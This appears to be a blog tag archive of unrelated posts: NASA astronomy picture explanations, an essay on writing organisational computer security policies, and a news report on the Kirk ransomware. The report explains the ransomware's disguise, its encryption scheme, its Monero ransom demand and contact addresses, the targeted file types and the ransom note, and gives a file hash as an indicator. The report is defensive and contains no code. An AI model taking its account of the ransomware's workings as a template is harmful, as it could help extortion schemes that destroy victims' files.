Tag Archives: Space

Astronomy Picture of the Day – Dark Molecular Cloud Barnard 68

See Explanation.  Clicking on the picture will download
 the highest resolution version available.Dark Molecular Cloud Barnard 68 
Image Credit: FORS Team8.2-meter VLT AntuESOExplanation: Where did all the stars go? What used to be considered a hole in the sky is now known to astronomers as a dark molecular cloud. Here, a high concentration of dust and molecular gas absorb practically all the visible light emitted from background stars. The eerily dark surroundings help make the interiors of molecular clouds some of the coldest and most isolated places in the universe. One of the most notable of these dark absorption nebulae is a cloud toward the constellation Ophiuchus known as Barnard 68pictured here. That no stars are visible in the center indicates that Barnard 68 is relatively nearby, with measurements placing it about 500 light-years away and half a light-year across. It is not known exactly how molecular clouds like Barnard 68 form, but it is known that these clouds are themselves likely places for new stars to form. In fact, Barnard 68 itself has been found likely to collapse and form a new star system. It is possible to look right through the cloud in infrared light.


From: https://apod.nasa.gov/apod/ap171008.html


Astronomy Picture of the Day – Eclipsosaurus Rex

See Explanation.  Clicking on the picture will download
 the highest resolution version available.

Eclipsosaurus Rex 
Image Credit & CopyrightFred Espenak (MrEclipse.com)Explanation: We live in an era where total solar eclipses are possible because at times the apparent size of the Moon can just cover the disk of the Sun. But the Moon is slowly moving away from planet Earth. Its distance is measured to increase about 1.5 inches (3.8 centimeters) per year due to tidal friction. So there will come a time, about 600 million years from now, when the Moon is far enough away that the lunar disk will be too small to ever completely cover the Sun. Then, at best only annular eclipses, a ring of fire surrounding the silhouetted disk of the too small Moon, will be seen from the surface of our fair planet. Of course the Moon was slightly closer and loomed a little larger 100 million years ago. So during the age of the dinosaurs there were more frequent total eclipses of the Sun. In front of the Tate Geological Museum at Casper College in Wyoming, this dinosaur statue posed with a modern total eclipse, though. An automated camera was placed under him to shoot his portrait during the Great American Eclipse of August 21.


From: https://apod.nasa.gov/apod/ap171007.html

Astronomy Picture of the Day – Global Aurora at Mars

See Explanation.  Clicking on the picture will download
 the highest resolution version available.Global Aurora at Mars 
Image Credit: MAVENLASP, University of ColoradoNASAExplanation: A strong solar event last month triggered intense global aurora at Mars. Before (left) and during (right) the solar storm, these projections show the sudden increase in ultraviolet emission from martian aurora, more than 25 times brighter than auroral emission previously detected by the orbiting MAVEN spacecraft. With a sunlit crescent toward the right, data from MAVEN’s ultraviolet imaging spectrograph is projected in purple hues on the right side of Mars globes simulated to match the observation dates and times. On Mars, solar storms can result in planet-wide aurora because, unlike Earth, the Red Planet isn’t protected by a strong global magnetic field that can funnel energetic charged particles toward the poles. For all those on the planet’s surface during the solar storm, dangerous radiation levels were double any previously measured by the Curiosity rover. MAVEN is studying whether Mars lost its atmosphere due to its lack of a global magnetic field.


Source: https://apod.nasa.gov/apod/ap171006.html

Site Security Policy Development


Computer systems are powerful tools that touch upon many aspects of life in modern society. They can be used to enhance the quality of life or degrade it. The impact of this effect may range from negligible to the dramatic.

In order to ensure that computer systems are used in an effective and productive way, it is important that the owners, operators and users of these systems have a clear understanding of acceptable standards of use. Such an understanding can be gained as part of a Site Computer Security Policy.

The security requirements of computer systems owned and operated by one organisation will almost certainly differ from the requirements of another organisation. It is, therefore, important that each organisation formulates its own Site Computer Security Policy.

This paper outlines some issues that the writer of a Site Computer Security Policy may need to consider when formulating such a document.


The information contained in this paper is given freely as an account of the author’s own experience, and may be used by the reader as the reader sees fit.

No responsibility or liability will be accepted by the author or the author’s employer for any damages caused by direct or indirect use of the information or functionality described in this paper.

1.0 What Is A Site Computer Security Policy?

In the same way that any society needs laws and guidelines to ensure safety, organisation and parity, so any organisation requires a Site Computer Security Policy (CSP) to ensure the safe, organised and fair use of computational resources.

The use of computer systems pervades many aspects of modern life. They include academic, engineering, financial and medical applications. When one considers these roles, such a policy assumes a large degree of importance.

A CSP is a document that sets out rules and principles which affect the way an organisation approaches problems.

Furthermore, a CSP is a document that leads to the specification of the agreed conditions of use of an organisation’s resources for users and other clients. It also sets out the rights that they can expect with that use.

Ultimately a CSP is a document that exists to prevent the loss of an asset or its value. A security breach can easily lead to such a loss, regardless of whether the security breach occurred as a result of an Act of God, hardware or software error, or malicious action internal or external to the organisation.

2.0 Why Does An Organisation Need A Site Computer Security Policy?

In addition to the benefits outlined above, a CSP offers an organisation the following benefits:

(a) It helps to make decisions with regard to other policies. It is not uncommon for a policy on a particular matter to refer to other policies. For instance, a CSP may refer to a policy on Copyright or a policy on dealing with the Press. Similarly, other policies may need to refer to specific sections of a CSP. This obviously is not possible if a CSP has not been formulated.

(b) It helps in making purchasing decisions. A CSP offers guidelines for standards of protection required on particular classes of computer systems. If a software or hardware component under consideration for purchase could be used to (or will actually) compromise these standards, then this may have an influence on whether the component is purchased.

(c) A CSP forms a framework for deciding what action to take in particular circumstances. In the event of a security breach, a CSP may contain guidelines of what authority particular people have to take certain actions to minimise the impact of that breach. Furthermore, after the breach, the policy will provide guidelines regarding the course of action to take in order to prevent further or repeated breaches, and also regarding the identification and discipline of the people responsible (in whatever capacity) for the breach. This removes the scope for independent reasoning at inappropriate times.

(d) A CSP should be considered as a living, long-term document that provides guidelines for the development of procedures applied to an organisation’s computer systems on a regular or day-to-day basis. These procedures would be described in a Site Procedures Manual, and would be concerned with the specifics of an organisation’s computer system and networking resources. Whereas the CSP describes principles (not implementation specifics) and should only ever be changed infrequently (when necessary), the Site Procedures Manual would be more volatile.

(e) Similarly to the above, a CSP will offer a framework for computer system configuration and network design and configuration.

(f) Because the development and enforcement of a CSP (and a Site Procedures Manual) is a non-trivial task, the existence and use of these documents is testament to the commitment of an organisation to professionalism.

(g) An important aspect of law is that ignorance is no excuse. Similarly, a well formulated and well advertised CSP leaves all people who have contact with an organisation’s computer systems with a clear understanding of what constitutes acceptable behaviour, effectively removing ignorance of acceptable standards as an excuse for antisocial behaviour. (The reader should note that acceptable behaviour standards form only one part of a CSP, as explained in Section 4, What Does a Site Computer Security Policy Contain?.)

(h) A CSP may be required by an auditor in the course of an organisational audit.

3.0 What Are The Characteristics Of A Site Computer Security Policy?

An effectively written CSP should have the following characteristics:

(a) It should be useful, and preferably written in a form that is easy to read (implying usable and understandable English).

(b) It will be structured in a form that lends itself to finding relevant sections of the policy easily.

(c) Initial forms, and subsequent updates should be versioned and dated.

(d) In order to have any authority, it must be accepted as the official reference document by the authoritative people in the organisation.

(e) It must set out principles only. It should be written with the intention that it will be a living reference document, used over a long period of time, with infrequent (and preferably none) changes during its lifetime.

(f) It must be carefully worded. The key to preparing a policy document is to ensure that all terms are accurately and precisely defined, and that these terms are used exactly as they are intended. A careful balance must be achieved in the wording of concepts. Each concept must be worded precisely enough to effectively communicate the meaning of the concept, but not so precisely so as to be dependent upon a particular technology, or to otherwise unintentionally allow a breach of the intention (if not the wording) of the concept.

(g) A CSP should be considered as a parent document to a Site Procedures Manual, and prepared as such.

(h) Not only must a CSP set out acceptable conditions of use, but it should also set out unacceptable conditions of use.

(i) The CSP should be widely advertised to those people who are affected by it. Furthermore, there should be a section in the CSP about the advertising of the CSP.

(j) Because the CSP is intended to be a living document, it should be reviewed at regular intervals, and at any other time required. Furthermore, there should be a section in the CSP about these reviews.

(k) The CSP must not simply be an Acceptable Usage Policy (that is a policy on acceptable behaviour of users of computer systems). The CSP must also outline what rights and expectations of the resource provider users have with regard to the use of computer systems, guidance on various issues for system managers and decision makers, definitions of terms and so on.

4.0 What Does A Site Computer Security Policy Contain?

A CSP can be viewed as a document of three distinct parts, all of which are necessary, but within themselves not sufficient.

The first part outlines the parameters within which the policy will operate, and may consist of many sections.

The second part of the policy is essentially a risk analysis, which discusses assets that need to be protected, the threats that may cause damage to the assets, and the mechanisms that may be used to realise these threats. The material in this part forms the logic behind the rules and guidelines that form the actual security policies that are formally defined in the third part.

The following material outlines issues that the author of a CSP may like to address in the document. This is not necessarily exhaustive, and the content of the CSP ultimately rests with its author.

4.1 Abstract

The abstract should set out what the document is and the organisation for whom it has been written.

4.2 Context

This section should outline the context within which the resources under the control of the policy operate. For instance, a private company may not be connected to any network outside of its own domain, or on the other hand, it may be connected to banks throughout the world. A CSP for a university may describe the significance of Internet and AARNet, and the relationship of these entities with the campus network.

This context is important as it effectively determines what the governing policies are of the CSP, and influences the philosophy and procedural guidelines set out in the CSP.

4.3 Philosophy and Functions

The writer of a CSP will inevitably be faced with several alternatives when deciding on a particular policy for a particular issue. The classic instance of such a dilemma occurs when one determines that a compromise of a computer system is actively in progress, and that the compromise possibly includes a breach of Commonwealth Law. Does the system manager take steps to reduce the impact of the compromise (by, for example, disconnecting the compromised network from the source of the compromise), or does the system manager allow the compromise to continue in an attempt to identify the attacker at the risk of damaging or losing resources permanently?

The basic philosophy that should be used when constructing policies that may be used for making non-deterministic decisions should be outlined in this section.

The writer should also outline the functions that the CSP is expected to serve within the organisation. Similarly to the philosophy behind the CSP, the functions that the CSP will serve will affect the content of the CSP.

4.4 Definitions

As mentioned earlier in this paper, the key to writing an effective CSP is accurate and precise definitions of terms. Any term that may have any ambiguity attached to it must be defined in a precise manner. Any loopholes left in this section or in the sections regarding the rights and responsibilities of users and resource providers may be exploited by people in order to circumvent the CSP.

For instance, consider a policy which states, in part, that “all accounts must be protected by a password”. This obviously precludes the use of guest accounts with no passwords. However, what effect does this have on anonymous ftp? Is it conceivable that one could make a case that the anonymous account is not password protected since any password could be used to access the account?

What constitutes an account? The login identifier only, or the resources associated with the account? Does the account holder own the account and those resources, or does the resource provider? Should the term “account” be omitted, and replaced by the concepts “user account”, “privileged account” and “public access account”?

When a policy refers to a Chief Executive Officer (CEO) of an organisation, should the term “Chief Executive Officer” be redefined to include the CEO and agents of the CEO, where an agent is any person authorised by the CEO to be such? If not, then the policy may award the CEO many rights and tasks, leaving nobody else with any rights or tasks at all, let alone the authority to act in the absence of the CEO!

Two of the most critical concepts that must be clarified are the concepts of authorisation and permission. At a technical level, is permission simply granted by access permission bits on a file, or is permission a combination of technical feasibility and authority to carry out an activity? Is authority implicit with technical feasibility, is it a property that must be explicitly granted, or is it a property associated with position?

These are but a sample of the terms that need to be defined for a CSP. This (crucial) section should be carefully and painstakingly constructed, and whenever there is any doubt as to whether a term should be defined, or what the definition should be, then one should err on the side of caution.

4.5 Governing Policies

It is important to make mention of the policies which govern the CSP.

The CSP may only make mention of policies that directly affect it, rather than get bogged down in all policies that may indirectly affect the document in varying degrees for pragmatic reasons. Examples of such direct policies include Commonwealth Law, State Law, (perhaps) the AARNet Acceptable Usage Policy and the “Terms and Conditions of AARNet Network Affiliate Membership” document (if appropriate). Other policies internal to the organisation may also be referred to in this section.

It is recognised that the content of this section is affected by external influences. However, it is these same external influences that affect the content of the CSP as a whole, and the interpretation of it. By including references to the governing policies, content of the CSP is simplified, and guidelines for action in the event of a security breach are automatically provided should such a breach influence an organisation’s environment.

However, because of the external nature of these governing policies, interpretation of them in this section should be kept to a minimum (again for pragmatic reasons).

4.6 Authority

In order to be effective, the CSP must be the product of a directive from an influential and authoritative person within the organisation.

It is important to define the driving force behind the development and implementation of the policy. Furthermore, this section must outline the person who has ultimate authority in the interpretation and application of it to a particular situation, particularly in lieu of any issue that may be addressed in subsequent sections.

Another consideration when writing this section is that of allowing for flexibility. That is, decision makers may need a clause in the policy that allows for a policy statement to be temporarily waived from time to time by a person of authority under certain conditions or guidelines. Such a clause allows those in authority to act with initiative (and still within policy boundaries) should unusual situations arise.

4.7 Distribution

The organisation should formally define the standards it will adhere to ensure that the people affected by the policy are appropriately informed of its contents (as is its moral responsibility).

4.8 Review

A CSP that is prepared in a final form and never reviewed for the appropriateness of its contents during its lifetime may quickly become a document that is either cumbersome or useless. This section should formally set out the periodicy and necessity for reviews of the CSP.

4.9 Risk Analysis

The previous sections set out the parameters within which the policy will be effective. This section outlines the assets that must be protected, and from what threats. This is necessary to provide the underlying logic for the following sections which formally define the rules that apply to the use of those assets.

The preparation of this section can be laborious and can require a great deal of insight. The depth of this analysis is up to the organisation and the uses to which the CSP will be put. For instance, if the CSP is expected to be heavily used in making purchasing decisions, particularly with regard to asset defence, then a full financial and likelihood analysis of the impact of any and all realised threats may be required. However, if this is not one of the main purposes of the CSP, then this section may only need to outline the assets, threats and vulnerabilities which ultimately justify the logic behind the following sections.

It is essential that in its most minimal form, this section has at least three subsections.

In the first subsection, a list of various asset categories must be provided, since the loss of an asset represents a significant loss to the organisation. In some cases, a lost asset cannot be replaced, particularly in the case of goodwill, trust, or confidential research. Examples of asset categories include:

- documentation;
- goodwill and reputation;
- hardware;
- people and skills; and
- software.

A discussion of these assets should include some indication of the size and type of investment that the asset represents, the impact on the organisation of the loss of the asset and how easily replaceable (if at all) the asset is. When considering assets in the information category, it is important to emphasise that a loss may be suffered simply by unauthorised access to that information, even if that information is still available to the organisation.

The loss of an asset is caused by the realisation of a threat. The threat is realised via the medium of a vulnerability. Threats cannot be controlled within an organisation as a threat is essentially a product of the organisation’s environment. This is not so for vulnerabilities, which usually exist within the organisation. Hence the purpose of the security policy and its associated procedures is to minimise the number and size of any vulnerabilities and thus negate any potential threat and its impact on an organisation’s assets should a threat be realised.

The second subsection might therefore be devoted to threats. Examples of threats that may be examined are:

- denial of service;
- destruction (of assets);
- disclosure of information;
- theft (of information or physical assets); and
- unauthorised access.

The examination of these threats might include a discussion on both the probable and maximum possible impact of the realisation of the threat upon the organisation, as well as the consequences for the organisation should these scenarios occur. It may also be useful to explore what further threats could be realised as a consequence of the realisation of an initial threat.

The third essential subsection must tie together the assets and threats to give some indication of the likelihood of and likely extent of damage of the threat being realised on the assets. This subsection therefore discusses vulnerabilities.

Vulnerabilities may differ from organisation to organisation. However, a possible categorisation of a vulnerability set may be:

- Host based:
     - Compromise;
     - Destruction;
- Network based:
     - Destruction;
     - Eavesdropping;
     - Flooding;
- Non-discriminatory (e.g. Acts of God); and
- Procedural.

This can be a difficult subsection to write. For each vulnerability identified, the following aspects might be discussed.

(a) Form, in which it is explained in understandable terms what the vulnerability is, possibly through the use of (or including) realistic examples.

(b) Type (whether the vulnerability allows a threat to be realised in a deliberate or accidental manner), as this may have a bearing on policies, procedures and penalties.

(c) Extent, in which it is discussed what type of threat(s) might be realised by the vulnerability, both in the first instance and subsequently (giving some justification for the statements regarding impact).

(d) Impact on the organisation, possibly in both financial and non-financial terms. The impact may be expressed as a range, rather than a discrete value. Examples of non- financial impact are “negligible”, “little” (where alternative workarounds are available with comparatively little effort and expense), and “complete” (the organisation will fold). The expression of non-financial impact is purely up to the ability, imagination and experience of the CSP author.

(e) Cause, in which a brief discussion is given of the primary reasons behind how and why the vulnerability may lead to the realisation of the threat.

(f) Solutions (possibly) to either effectively negate the cause or minimise the impact.

4.10 Rights and Responsibilities of Users

This section (and the next two) are the heart and soul of a CSP. It can be difficult to draw distinct lines between the rights and responsibilities of users and the resource provider, since many issues may be considered to be in the domain of either (privacy being one such issue). The key to writing this section and the next is to make a firm decision on which issues belong in which section (e.g. by preparing a detailed table of contents) and thus avoid duplication and complexity.

Issues that could be addressed in this section are listed below.

(a) Account use, by both the account holder and the resource provider. Special conditions may apply to the use of normal user accounts, and public access accounts (like anonymous ftp), and these conditions could be expressed here.

(b) Software and data access and use, including sources of data and software.

(c) Disclosure of information which is potentially harmful, such as password information or system configuration information.

(d) Etiquette, including acceptable forms of expression (e.g. non-offensive expression expected for unsolicited electronic mail), and unacceptable practices (such as the forging of electronic mail and news articles).

(e) Password use and format.

(f) Rights to privacy, and the circumstances under which the resource provider may intrude on the files held under or activities practiced by an account.

(g) Other miscellaneous guidelines regarding reasonable practices, such as the use of CPU cycles and temporary general access storage areas. Copyright issues may also be discussed here.

4.11 Rights and Responsibilities of the Resource Provider

There is a myriad of information that could be placed in this section. The content of this section assumes a large degree of importance (indeed, probably more than the previous section) when one considers recent statistics regarding the proportion of crimes involving computers that are committed by people internal (or recently internal) to the organisation.

Some (but by no means all) issues that could be addressed here include:

- backups;
- contact information;
- dial-up access;
- host configuration guidelines, including:
     - allocation of responsibility;
     - network connection guidelines;
     - authentication guidelines;
     - authority to hold and grant account guidelines;
     - auditing and monitoring guidelines;
     - password    format,   enforcement   and    lifetime
          guidelines; and
     - login banners;
- network  construction, configuration and use guidelines,
     - allocation of responsibility;
     - supported protocols;
     - network design principles;
     - address allocation and authority guidelines; and
     - use of network management and other equipment;
- physical security guidelines; and
- privacy guidelines.

There are no doubt many other issues and principles that could be discussed in this section. The content of this section is really a product of the basic philosophy of the organisation providing the resource.

4.12 Violation

A stated function of a CSP is to form a framework for deciding what action to take in particular circumstances. In the event of a security breach, a CSP needs to offer to those who must take action, necessary guidelines as to what authority they have in order to minimise the impact of that breach. Furthermore, after the breach, the policy must provide guidelines for courses of action to take in order to prevent further or repeated breaches, and also regarding the identification and discipline of the people responsible (in whatever capacity) for the breach.

It is therefore obvious that this section is also a non-trivial section concerned only with identification and discipline.

There could be a subsection devoted entirely to security incident handling principles. This subsection would be used directly in the construction of a set of procedures to be followed in the event of an actual security breach in progress. It could broach such issues such as:

  • parties who should be notified, and the method and urgency of such notification;
  • policy on the necessity, timing and requirements of any backups taken and logging that must be carried out;
  • computer system and network isolation authority and guidelines;
  • statement of entrapment policy (if this is not already expressed in the CSP philosophy); and
  • statement of policies and requirements should an alleged offender be traceable and possibly confronted (particularly where actions may be affected by external requirements such as a Statute dictating that Security Officers must identify themselves).

It may be desirable to also offer guidelines for liability of personnel with regard to security breaches. Such policies may tend to encourage people who are the victims of ignorance but honest intent to offer information that can be used constructively to prevent future incidents, rather than attempt to hide details of a breach that they may have (somewhat innocently) been involved in.

This section also needs to discuss, in some detail, guidelines regarding investigation of incidents and courses of action that could be taken by decision-makers based upon details of the security breach. Such guidelines may include guidelines about referral of various matters to law enforcement agencies, as well as internal investigation and disciplinary principles.

There should be some emphasis placed upon not only minimising the impact of and recovering from a security breach, should one occur, but also in learning any constructive lessons possible from an incident. The way in which this can be done is to carry out a post-mortem of incidents. Requirements for post-mortem procedures and reports could be outlined in this section. Such a post-mortem could include preparation of reports containing details like cause and effect of the incident, side-effects of the incident, costs involved in terms of losses and recovery, and possible repulsion and impact minimisation strategies should a similar incident occur in future.

5.0 Conclusion

The absence of a Site Computer Security Policy leaves a large void in any organisation’s ability to operate effectively and maintain business continuity, and allows for ad-hoc decisions to be made by unauthorised personnel. Conversely, a well written and easily understandable Site Computer Security Policy provides an effective basis for decision making and planning. It gives the providers and users of a resource a clear understanding of what is expected, and what may be expected in return. Adherence to such a policy lends some evidence to an organisation’s integrity and trustworthiness.


Caelli, W., Longley, D. and Shain, M., Information Security Handbook, Macmillan Publishers Ltd, 1991. ISBN 0-333-51172-7.

Site Security Policy Handbook Working Group, “Site Security Handbook”, RFC 1244, Internet Engineering Task Force, July 1991.

Star Trek – Ransomware Brings us Monero and a Spock Decryptor!

Boldly going where no man has gone before, the Kirk Ransomware brings so much nerdy goodness to the table that it could make anyone in IT interested. We have Star Trek, Low Orbital Ion Cannons, a cryptocurrency payment other than Bitcoin, and a decryptor named Spock! Need I say more?

Discovered today by Avast malware researcher Jakub Kroustek, the Kirk Ransomware is written in Python and may be the first ransomware to utilize Monero as the ransom payment of choice.

Kirk Ransomware

At this time there are no known victims of this ransomware and it does not appear to be decryptable.  For those who want to discuss this ransomware or receive updates about it, they can subscribe to our Kirk Ransomware Support & Help topic.

Kirk Ransomware uses Monero for Ransom Payments

Ever since Monero was released, it has been highly touted as a more secure and anonymous payment system than Bitcoin. This has caused  underground criminal sites, like AlphaBay, to accept it as payment and for criminals to mine it using mining Trojans. It was only a matter of time until ransomware developers started requesting it.

For possibly the first time, with the release of Kirk Ransomware, Monero has been introduced as a ransom payment. The problem is that this is only going to confuse victims even more. Even with Bitcoin becoming more accepted, it is still not easy to acquire them. By introducing a new cryptocurrency into the mix, victims are just going to become more confused and make paying ransoms even more difficult.

How the Kirk Ransomware Encrypts a Computer

While it is not currently known how the Kirk Ransomware is being distributed, we do know that it is masquerading as the network stress tool called Low Orbital Ion Cannon.  Currently named loic_win32.exe, when executed Kirk Ransomware will now generate a AES password that will be used to encrypt a victim’s files. This AES key will then be encrypted by an embedded RSA-4096 public encryption key and saved in the file called pwd in the same directory as the ransomware executable.

If you plan on paying the ransom for the Kirk Ransomware, you must not delete the pwd file as it contains an encrypted version of your decryption key. Only the ransomware developer can decrypt this file and if a victim wishes to pay the ransom they will be required to send them this file.

Below is the current embedded RSA key used to encrypt the victim’s encryption key.

-----END PUBLIC KEY-----

Kirk Ransomware will now display a message box that displays the same slogan as the LOIC network stress tool. This slogan is: “Low Orbital Ion Cannon | When harpoons, air strikes and nukes fail | v1.0.1.0”.

Fake Low Orbital Ion Cannon Alert
Fake Low Orbital Ion Cannon Alert

At this point, the ransomware infection will begin to scan the C: drive for files that have certain file extensions. At the time of this writing, Kirk Ransomware targets 625 file types, which are listed at the end of the article.

If a matching file is detected, it will encrypt it using the previously created AES encryption key and then append the .kirked extension to the encrypted file’s name. For example, a file called test.jpg would be encrypted and renamed to test.jpg.kirked.

When the ransomware finishes encrypting the files it will drop a ransom note called RANSOM_NOTE.txt in the same folder as the executable. It will also display the ransom note in a Window on your desktop. A full version of the ransom note can be see at the end of the article.

This ransom note tells the victim that they must purchase ~1,100 worth of the Monero currency and send it to the enclosed Monero address. Once a payment is made, the victim must email the pwd file and the payment transaction ID to the kirk.help@scryptmail.com or kirk.payments@scryptmail.com email addresses to receive the decryptor.

The Spock Decryptor

This wouldn’t be a Star Trek themed ransomware without Spock. The developer agrees as they have named the decryptor “Spock” and it will be supplied to the victim once a a payment is made.

The Spock Decryptor

At this time we have not seen a sample of the decryptor, so cannot provide more info regarding it.

As previously said, unfortunately at this time the ransomware does not look like it can be decrypted.  For those who want to discuss this ransomware or receive updates about it, they can subscribe to our Kirk Ransomware Support & Help topic.



Files associated with the Kirk Ransomware:



SHA256: 39a2201a88f10d81b220c973737f0becedab2e73426ab9923880fb0fb990c5cc

Targeted File Extensions:

.cfr,  .ytd,  .sngw,  .tst,  .skudef,  .dem,  .sims3pack,  .hbr,  .hkx,  .rgt,  .ggpk,  .ttarch2,  .hogg,  .spv,  .bm2,  .lua,  .dff,  .save,  .rgssad,  .scm,  .aud,  .rxdata,  .mcmeta,  .bin,  .mpqe,  .rez,  .xbe,  .grle,  .bf,  .iwd,  .vpp_pc,  .scb,  .naz,  .m2,  .xpk,  .sabs,  .nfs13save,  .gro,  .emi,  .wad,  .15,  .vfs,  .drs,  .taf,  .m4s,  .player,  .umv,  .sgm,  .ntl,  .esm,  .qvm,  .arch00,  .tir,  .bk,  .sabl,  .bin,  .opk,  .vfs0,  .xp3,  .tobj,  .rcf,  .sga,  .esf,  .rpack,  .DayZProfile,  .qsv,  .gam,  .bndl,  .u2car,  .psk,  .gob,  .lrf,  .lts,  .iqm,  .i3d,  .acm,  .SC2Replay,  .xfbin,  .db0,  .fsh,  .dsb,  .cry,  .osr,  .gcv,  .blk,  .4,  .lzc,  .umod,  .w3x,  .mwm,  .crf,  .tad,  .pbn,  .14,  .ppe,  .ydc,  .fmf,  .swe,  .nfs11save,  .tgx,  .trf,  .atlas,  .20,  .game,  .rw,  .rvproj2,  .sc1,  .ed,  .lsd,  .pkz,  .rim,  .bff,  .gct,  .9,  .fpk,  .pk3,  .osf,  .bns,  .cas,  .lfl,  .rbz,  .sex,  .mrm,  .mca,  .hsv,  .vpt,  .pff,  .i3chr,  .tor,  .01,  .utx,  .kf,  .dzip,  .fxcb,  .modpak,  .ydr,  .frd,  .bmd,  .vpp,  .gcm,  .frw,  .baf,  .edf,  .w3g,  .mtf,  .tfc,  .lpr,  .pk2,  .cs2,  .fps,  .osz,  .lnc,  .jpz,  .tinyid,  .ebm,  .i3exec,  .ert,  .sv4,  .cbf,  .oppc,  .enc,  .rmv,  .mta,  .otd,  .pk7,  .gm,  .cdp,  .cmg,  .ubi,  .hpk,  .plr,  .mis,  .ids,  .replay_last_battle,  .z2f,  .map,  .ut4mod,  .dm_1,  .p3d,  .tre,  .package,  .streamed,  .l2r,  .xbf,  .wep,  .evd,  .dxt,  .bba,  .profile,  .vmt,  .rpf,  .ucs,  .lab,  .cow,  .ibf,  .tew,  .bix,  .uhtm,  .txd,  .jam,  .ugd,  .13,  .dc6,  .vdk,  .bar,  .cvm,  .wso,  .xxx,  .zar,  .anm,  .6,  .ant,  .ctp,  .sv5,  .dnf,  .he0,  .mve,  .emz,  .e4mod,  .gxt,  .bag,  .arz,  .tbi,  .itp,  .i3animpack,  .vtf,  .afl,  .ncs,  .gaf,  .ccw,  .tsr,  .bank,  .lec,  .pk4,  .psv,  .los,  .civ5save,  .rlv,  .nh,  .sco,  .ims,  .epc,  .rgm,  .res,  .wld,  .sve,  .db1,  .dazip,  .vcm,  .rvm,  .eur,  .me2headmorph,  .azp,  .ags,  .12,  .slh,  .cha,  .wowsreplay,  .dor,  .ibi,  .bnd,  .zse,  .ddsx,  .mcworld,  .intr,  .vdf,  .mtr,  .addr,  .blp,  .mlx,  .d2i,  .21,  .tlk,  .gm1,  .n2pk,  .ekx,  .tas,  .rav,  .ttg,  .spawn,  .osu,  .oac,  .bod,  .dcz,  .mgx,  .wowpreplay,  .fuk,  .kto,  .fda,  .vob,  .ahc,  .rrs,  .ala,  .mao,  .udk,  .jit,  .25,  .swar,  .nav,  .bot,  .jdf,  .32,  .mul,  .szs,  .gax,  .xmg,  .udm,  .zdk,  .dcc,  .blb,  .wxd,  .isb,  .pt2,  .utc,  .card,  .lug,  .JQ3SaveGame,  .osk,  .nut,  .unity,  .cme,  .elu,  .db7,  .hlk,  .ds1,  .wx,  .bsm,  .w3z,  .itm,  .clz,  .zfs,  .3do,  .pac,  .dbi,  .alo,  .gla,  .yrm,  .fomod,  .ees,  .erp,  .dl,  .bmd,  .pud,  .ibt,  .24,  .wai,  .sww,  .opq,  .gtf,  .bnt,  .ngn,  .tit,  .wf,  .bnk,  .ttz,  .nif,  .ghb,  .la0,  .bun,  .11,  .icd,  .z3,  .djs,  .mog,  .2da,  .imc,  .sgh,  .db9,  .42,  .vis,  .whd,  .pcc,  .43,  .ldw,  .age3yrec,  .pcpack,  .ddt,  .cok,  .xcr,  .bsp,  .yaf,  .swd,  .tfil,  .lsd,  .blorb,  .unr,  .mob,  .fos,  .cem,  .material,  .lfd,  .hmi,  .md4,  .dog,  .256,  .eix,  .oob,  .cpx,  .cdata,  .hak,  .phz,  .stormreplay,  .lrn,  .spidersolitairesave-ms,  .anm,  .til,  .lta,  .sims2pack,  .md2,  .pkx,  .sns,  .pat,  .tdf,  .cm,  .mine,  .rbn,  .uc,  .asg,  .raf,  .myp,  .mys,  .tex,  .cpn,  .flmod,  .model,  .sfar,  .fbrb,  .sav2,  .lmg,  .tbc,  .xpd,  .bundledmesh,  .bmg,  .18,  .gsc,  .shader_bundle,  .drl,  .world,  .rwd,  .rwv,  .rda,  .3g2,  .3gp,  .asf,  .asx,  .avi,  .flv,  .ai,  .m2ts,  .mkv,  .mov,  .mp4,  .mpg,  .mpeg,  .mpeg4,  .rm,  .swf,  .vob,  .wmv,  .doc,  .docx,  .pdf,  .rar,  .jpg,  .jpeg,  .png,  .tiff,  .zip,  .7z,  .dif.z,  .exe,  .tar.gz,  .tar,  .mp3,  .sh,  .c,  .cpp,  .h,  .mov,  .gif,  .txt,  .py,  .pyc,  .jar,  .csv,  .psd,  .wav,  .ogg,  .wma,  .aif,  .mpa,  .wpl,  .arj,  .deb,  .pkg,  .db,  .dbf,  .sav,  .xml,  .html,  .aiml,  .apk,  .bat,  .bin,  .cgi,  .pl,  .com,  .wsf,  .bmp,  .bmp,  .gif,  .tif,  .tiff,  .htm,  .js,  .jsp,  .php,  .xhtml,  .cfm,  .rss,  .key,  .odp,  .pps,  .ppt,  .pptx,  .class,  .cd,  .java,  .swift,  .vb,  .ods,  .xlr,  .xls,  .xlsx,  .dot,  .docm,  .dotx,  .dotm,  .wpd,  .wps,  .rtf,  .sdw,  .sgl,  .vor,  .uot,  .uof,  .jtd,  .jtt,  .hwp,  .602,  .pdb,  .psw,  .xlw,  .xlt,  .xlsm,  .xltx,  .xltm,  .xlsb,  .wk1,  .wks,  .123,  .sdc,  .slk,  .pxl,  .wb2,  .pot,  .pptm,  .potx,  .potm,  .sda,  .sdd,  .sdp,  .cgm,  .wotreplay,  .rofl,  .pak,  .big,  .bik,  .xtbl,  .unity3d,  .capx,  .ttarch,  .iwi,  .rgss3a,  .gblorb,  .xwm,  .j2e,  .mpk,  .xex,  .tiger,  .lbf,  .cab,  .rx3,  .epk,  .vol,  .asset,  .forge,  .lng,  .sii,  .litemod,  .vef,  .dat,  .papa,  .psark,  .ydk,  .mpq,  .wtf,  .bsa,  .re4,  .dds,  .ff,  .yrp,  .pck,  .t3,  .ltx,  .uasset,  .bikey,  .patch,  .upk,  .uax,  .mdl,  .lvl,  .qst,  .ddv,  .pta

Ransom Note Text:

                     :xxoc;;,..                                        .
                    cWW0olkNMMMKdl;.                       .;llxxklOc,'
                   oWMKxd,  .,lxNKKOo;.                  :xWXklcc;.     ...'.
           k      lMMNl   .    ON.                         :c.             ''.  ':....
          .WXc   ;WMMMXNNXKKxdXMM.                                                .    .
          .NdoK: XMMMMMMMMMMMMMMM;oo;                                ...;,cxxxll.       .
          .WX.K0'WMMMWMMMMMWMNXWMooMWNO'                         ..,;OKNWWWWMMMMMXk:.
           KK:xKKWMMMXNMMMMW;  .. :WNKd,                ..    .'cdOXKXNNNNNWWMMMMMMMW0,
           lNMXXMMMMMMMMWWMMWKk,  ;0k'                    .,cxxk0K0O0XXWWMMMMMMMMMMMMMMX:..   ..
            ..,;XMMMMMMMWXWWK0KK: .;.                    .:lddddxOOO0XWMMMMMMMMMMMMMMMMMMO.    .,
              .kKXMMMMMWkoxolcc;..                      .':loodxO00OO0NNXNWMMMMMMMMMMMMMMMN;     '.
